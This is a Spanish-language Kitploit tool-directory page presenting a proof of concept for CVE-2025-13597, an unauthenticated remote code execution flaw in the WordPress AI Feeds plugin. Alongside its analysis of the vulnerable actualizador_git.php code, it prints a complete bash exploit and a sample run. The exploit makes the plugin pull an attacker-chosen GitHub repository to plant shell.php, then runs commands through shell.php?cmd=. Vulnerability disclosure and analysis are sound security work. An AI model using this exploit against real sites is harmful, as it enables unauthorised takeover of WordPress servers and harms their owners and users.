Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-13597 — AI Feeds <= 1.0.11 - Subida de archivos arbitrarios no autenticada | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-13597
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubd0n601/cve-2025-13597

CVE-2025-13597

AI Feeds <= 1.0.11 - Subida de archivos arbitrarios no autenticada

Ver Repositorio
hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

AI Feeds <= 1.0.11 - Carga de archivos arbitraria sin autenticación

El complemento de WordPress AI Feeds en versiones 1.0.11 e inferiores contiene una vulnerabilidad de ejecución remota de código sin autenticación en el archivo actualizador_git.php. Este archivo es accesible directamente vía HTTP sin ninguna comprobación de autenticación o autorización, lo que permite a atacantes no autenticados descargar repositorios arbitrarios de GitHub y sobrescribir archivos del complemento, llevando a una ejecución remota de código.

TL;DR Exploits

Se proporciona un CVE-2025-13597.py para demostrar que un atacante remoto puede subir shell.php y ejecutar código remoto:

root@kitploit:~
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND

Análisis Técnico

La vulnerabilidad existe en /wp-content/plugins/ai-feeds/actualizador_git.php. Este archivo implementa un sistema de duplicación de repositorios de GitHub que puede ser accedido directamente vía HTTP sin controles de seguridad.

Análisis de la ruta del código

  1. Acceso directo al archivo (Líneas 1-17): El archivo carece de la comprobación estándar de WordPress ABSPATH (if (!defined('ABSPATH')) exit;) que impide el acceso directo vía HTTP. Los parámetros se leen directamente de $_GET sin validación:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Validación del token (Línea 26): La única validación comprueba si el token está vacío o es el valor predeterminado. No se realiza ninguna autenticación o autorización:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Solicitud a la API de GitHub (Línea 31, 35-58): El script descarga un archivo ZIP desde la API de GitHub utilizando parámetros controlados por el usuario:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

Prueba de Concepto

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"
Descargar herramienta

La función curl_download() envía el token en el encabezado Authorization pero no realiza ninguna validación del propietario o contenido del repositorio.

  • Extracción del ZIP y operaciones con archivos (Líneas 144-169): El ZIP descargado se extrae y los archivos se copian directamente al directorio del complemento:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
    

    La función rrcopy_into() copia recursivamente todos los archivos del repositorio extraído al directorio de trabajo actual (directorio del complemento), sobrescribiendo los archivos existentes.

  • Eliminación de archivos (Líneas 164-165): Los archivos que no están presentes en el repositorio descargado se eliminan:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    La función mirror_delete_extras() elimina cualquier archivo en el directorio del complemento que no exista en el manifiesto del repositorio.